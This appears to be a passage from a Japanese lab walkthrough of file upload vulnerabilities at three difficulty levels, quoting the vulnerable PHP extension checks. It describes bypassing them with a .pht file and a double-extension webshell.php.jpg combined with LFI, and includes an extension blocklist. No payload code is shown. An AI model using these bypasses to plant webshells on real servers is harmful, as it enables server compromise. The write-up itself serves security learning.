このソースコードをさらに見てみる
attacker
にPOSTされてしまうようになっている!
実際にPOST先をBurpで見てみると以下のようになっている
Unrestricted File Upload
low
exploit.php
をアップできた!
何もチェックしていないmedium
exploit.pht
をアップするとPHPファイルとして実行された!
ソースコードは以下
function file_upload_check_1($file, $file_extensions = array("asp", "aspx", "dll", "exe", "jsp", "php"), $directory = "images") { // Breaks the file in pieces (.) All pieces are put in an array $file_array = explode(".", $file["name"]);
// Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);
// Searches if the file extension exists in the 'allowed' file extensions array if(in_array($file_extension, $file_extensions)) {
$file_error = "Sorry, the file extension is not allowed. The following extensions are blocked: <span class="synIdentifier"><</span><span class="synStatement">b</span><span class="synIdentifier">></span>" . join(", ", $file_extensions) . "<span class="synIdentifier"></</span><span class="synStatement">b</span><span class="synIdentifier">></span>"; return $file_error;
}
high
webshell.php.jpg
がアップできた!
他にLFIなどの脆弱性があってこのファイルをPHPファイルとしてinclude
できる場合、実行することができる!
function file_upload_check_2($file, $file_extensions = array("jpeg", "jpg", "png", "gif"), $directory = "images") { // Breaks the file in pieces (.) All pieces are put in an array $file_array = explode(".", $file["name"]);
// Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);
// Searches if the file extension exists in the 'allowed' file extensions array if(!in_array($file_extension, $file_extensions)) {
$file_error = "Sorry, the file extension is not allowed. Only the following extensions are allowed: <span class="synIdentifier"><</span><span class="synStatement">b</span><span class="synIdentifier">></span>" . join(", ", $file_extensions) . "<span class="synIdentifier"></</span><span class="synStatement">b</span><span class="synIdentifier">></span>"; return $file_error;
}